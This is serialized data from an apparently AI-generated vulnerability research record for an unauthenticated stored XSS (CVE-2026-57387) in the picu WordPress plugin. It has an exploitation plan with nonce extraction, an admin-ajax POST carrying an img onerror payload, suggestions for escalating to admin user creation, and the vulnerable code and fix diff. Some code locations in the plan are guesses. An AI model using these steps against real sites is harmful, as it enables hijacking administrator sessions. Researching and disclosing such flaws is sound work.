[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f5oBBjLt3Hy3E8sQbQW4AiRD7Jg8KsrSAk9EWDFxYLAY":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-57387","picu-online-photo-proofing-gallery-unauthenticated-stored-cross-site-scripting","picu – Online Photo Proofing Gallery \u003C= 3.5.1 - Unauthenticated Stored Cross-Site Scripting","The picu – Online Photo Proofing Gallery plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 3.5.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","picu",null,"\u003C=3.5.1","3.6.1","high",7.2,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-07-08 00:00:00","2026-07-14 19:31:51",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F8c29046f-43f7-4198-9359-044bed598c66?source=api-prod",7,[22,23,24,25,26,27,28,29],"backend\u002Fcss\u002Fpicu-admin.css","backend\u002Fcss\u002Fpicu-admin.css.map","backend\u002Fincludes\u002Fpicu-admin-notices.php","backend\u002Fincludes\u002Fpicu-cpt-collection.php","backend\u002Fincludes\u002Fpicu-edit-collection.php","backend\u002Fincludes\u002Fpicu-helper.php","backend\u002Fincludes\u002Fpicu-settings.php","frontend\u002Fjs\u002Ftemplates\u002Fpicu-approved.php","researched",false,3,"# Exploitation Research Plan: CVE-2026-57387 (picu – Online Photo Proofing Gallery)\n\n## 1. Vulnerability Summary\nThe **picu – Online Photo Proofing Gallery** plugin (\u003C= 3.5.1) is vulnerable to **Unauthenticated Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin fails to sanitize or escape user-provided data (specifically the client's name or feedback) collected during the unauthenticated photo approval process. This data is stored in the database and subsequently rendered in the WordPress administrative dashboard (e.g., in the \"All Collections\" list table or \"Collection History\" metabox) without proper output escaping.\n\n## 2. Attack Vector Analysis\n- **Entry Point**: The unauthenticated frontend \"Collection\" page (Proofing Gallery).\n- **Vulnerable Action**: `wp_ajax_nopriv_picu_approve_collection` (AJAX handler for gallery approval).\n- **Payload Parameter**: `client_name` (or potentially `client_email` \u002F `client_comment` depending on the exact version implementation).\n- **Authentication**: None (Unauthenticated).\n- **Preconditions**: \n    1. A `picu_collection` post must exist.\n    2. The collection must be in a state accessible to the public (Status: `sent`).\n\n## 3. Code Flow\n1. **Source**: An unauthenticated user visits a collection URL (e.g., `?picu_collection=[hash]`) and submits the \"Approve Collection\" form.\n2. **Transmission**: The frontend JavaScript sends a POST request to `wp-admin\u002Fadmin-ajax.php` with the action `picu_approve_collection`.\n3. **Processing**: The AJAX handler (likely in `frontend\u002Fincludes\u002Fpicu-frontend-actions.php`) retrieves `$_POST['client_name']`.\n4. **Storage**: The plugin calls `update_post_meta( $post_id, '_picu_approved_by', $client_name )` or stores it in the `_picu_collection_history` meta (seen in `backend\u002Fincludes\u002Fpicu-helper.php`).\n5. **Sink**: An administrator navigates to the \"All Collections\" list (`wp-admin\u002Fedit.php?post_type=picu_collection`).\n6. **Rendering**: The plugin's custom column handler for `picu_clients` (referenced by CSS class `.column-picu_clients` in `backend\u002Fcss\u002Fpicu-admin.css`) retrieves the stored name and `echo`es it directly into the HTML table without using `esc_html()`.\n\n## 4. Nonce Acquisition Strategy\nThe unauthenticated approval action requires a frontend nonce to pass `check_ajax_referer`.\n\n1. **Shortcode Identification**: The plugin uses the `[picu_collection]` shortcode to render the gallery.\n2. **Page Creation**: Use WP-CLI to create a public page containing a collection.\n3. **Navigation**: Use the `browser_navigate` tool to visit the collection's public URL.\n4. **Nonce Extraction**: Use `browser_eval` to extract the nonce from the localized JavaScript object.\n    - **Variable Name**: `picu_data` (standard for this plugin's frontend).\n    - **Key**: `nonce`.\n    - **Script**: `window.picu_data?.nonce`\n\n## 5. Exploitation Strategy\n\n### Step 1: Discover Collection\nLocate an existing collection. If none exists, create one as described in \"Test Data Setup\".\n\n### Step 2: Extract Nonce and ID\nNavigate to the collection URL and extract the required parameters:\n- `post_id`: The ID of the collection post.\n- `nonce`: The AJAX nonce from `window.picu_data.nonce`.\n\n### Step 3: Inject Payload\nSubmit the approval request with the XSS payload.\n\n- **Tool**: `http_request`\n- **Method**: `POST`\n- **URL**: `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Headers**: `Content-Type: application\u002Fx-www-form-urlencoded`\n- **Body Parameters**:\n    - `action`: `picu_approve_collection`\n    - `nonce`: `[EXTRACTED_NONCE]`\n    - `post_id`: `[POST_ID]`\n    - `client_name`: `\u003Cimg src=x onerror=\"alert('XSS_SUCCESS')\">`\n    - `client_email`: `victim@example.com`\n    - `selection`: `[\"0\"]` (A JSON array representing selected image IDs)\n\n### Step 4: Trigger Execution\nNavigate to the Admin Dashboard as an administrator to trigger the stored script.\n- **Target URL**: `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fedit.php?post_type=picu_collection`\n\n## 6. Test Data Setup\n1. **Create Collection**:\n   ```bash\n   # Create the collection\n   ID=$(wp post create --post_type=picu_collection --post_status=sent --post_title=\"Proofing Gallery\" --porcelain)\n   # Assign a hash\u002Fslug if not generated automatically\n   wp post term add $ID picu_collection_status sent\n   ```\n2. **Find URL**: Retrieve the permalink to use for nonce extraction.\n   ```bash\n   wp post get $ID --field=guid\n   ```\n\n## 7. Expected Results\n- The `http_request` should return a successful response (e.g., `{\"success\":true}`).\n- When the Admin Dashboard is viewed, the browser should execute the `alert('XSS_SUCCESS')` payload.\n- Inspecting the HTML of the \"Collections\" list will show the `\u003Cimg>` tag rendered unescaped within the `\u003Ctd>` belonging to the `picu_clients` column.\n\n## 8. Verification Steps\n1. **Check Meta Storage**:\n   ```bash\n   wp post meta get [POST_ID] _picu_approved_by\n   # Result should contain the raw \u003Cimg ...> payload\n   ```\n2. **Check History Storage**:\n   ```bash\n   wp post meta get [POST_ID] _picu_collection_history\n   # Result will be a serialized array; search for the payload string\n   ```\n\n## 9. Alternative Approaches\nIf the `client_name` in the list table is sanitized, attempt injection via:\n- **`client_comment`**: Some versions allow feedback comments stored in `_picu_collection_history`.\n- **Admin Notice Trigger**: If the approval triggers an admin notice (via `picu_add_notification` in `picu-admin-notices.php`), the payload may execute on any admin page because `picu_display_admin_notices` echos `$notification['message']` raw.\n- **Payload Variant**: Use `\u003Cscript src=\"...\">\u003C\u002Fscript>` to attempt more complex actions like admin user creation.","The picu – Online Photo Proofing Gallery plugin is vulnerable to unauthenticated stored XSS because it fails to sanitize and escape client-provided metadata, such as names or comments, submitted during the gallery approval process. This allows attackers to inject malicious scripts that execute in the context of an administrator's browser when they view the collection in the WordPress backend.","\u002F\u002F backend\u002Fincludes\u002Fpicu-admin-notices.php line 185\nforeach( $notifications as $notification ) {\n    echo '\u003Cdiv class=\"' . $notification['type'] . '\">\u003Cp>' . $notification['message'] . '\u003C\u002Fp>\u003C\u002Fdiv>';\n}\n\n---\n\n\u002F\u002F backend\u002Fincludes\u002Fpicu-helper.php line 269\n\u002F\u002F Storing history without sanitizing the 'data' or 'meta' arrays which can contain client_name\nupdate_post_meta( $post_id, '_picu_collection_history', $history );","--- a\u002Fbackend\u002Fincludes\u002Fpicu-admin-notices.php\n+++ b\u002Fbackend\u002Fincludes\u002Fpicu-admin-notices.php\n@@ -182,7 +182,7 @@\n \t\t\u002F\u002F If there are notifications, display them\n \t\tif ( isset( $notifications ) AND is_array( $notifications ) ) {\n \t\t\tforeach( $notifications as $notification ) {\n-\t\t\t\techo '\u003Cdiv class=\"' . $notification['type'] . '\">\u003Cp>' . $notification['message'] . '\u003C\u002Fp>\u003C\u002Fdiv>';\n+\t\t\t\techo '\u003Cdiv class=\"' . esc_attr( $notification['type'] ) . '\">\u003Cp>' . wp_kses_post( $notification['message'] ) . '\u003C\u002Fp>\u003C\u002Fdiv>';\n \t\t\t}\n \n \t\t\t\u002F\u002F Delete notification option","1. Identify a public picu collection URL (e.g., \u002F?picu_collection=[hash]).\n2. Visit the page and extract the unauthenticated AJAX nonce from the localized JavaScript object 'window.picu_data.nonce'.\n3. Send a POST request to the 'wp-admin\u002Fadmin-ajax.php' endpoint with the action 'picu_approve_collection'.\n4. Include an XSS payload (e.g., \u003Cimg src=x onerror=alert(1)>) in the 'client_name' or 'client_comment' parameter.\n5. Wait for an administrator to view the 'All Collections' list table or the specific 'Collection History' metabox in the WordPress dashboard to trigger the stored payload.","gemini-3-flash-preview","2026-07-16 14:44:44","2026-07-16 14:46:16",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","3.6.0","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fpicu\u002Ftags\u002F3.6.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fpicu.3.6.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fpicu\u002Ftags\u002F3.6.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fpicu.3.6.1.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fpicu\u002Ftags"]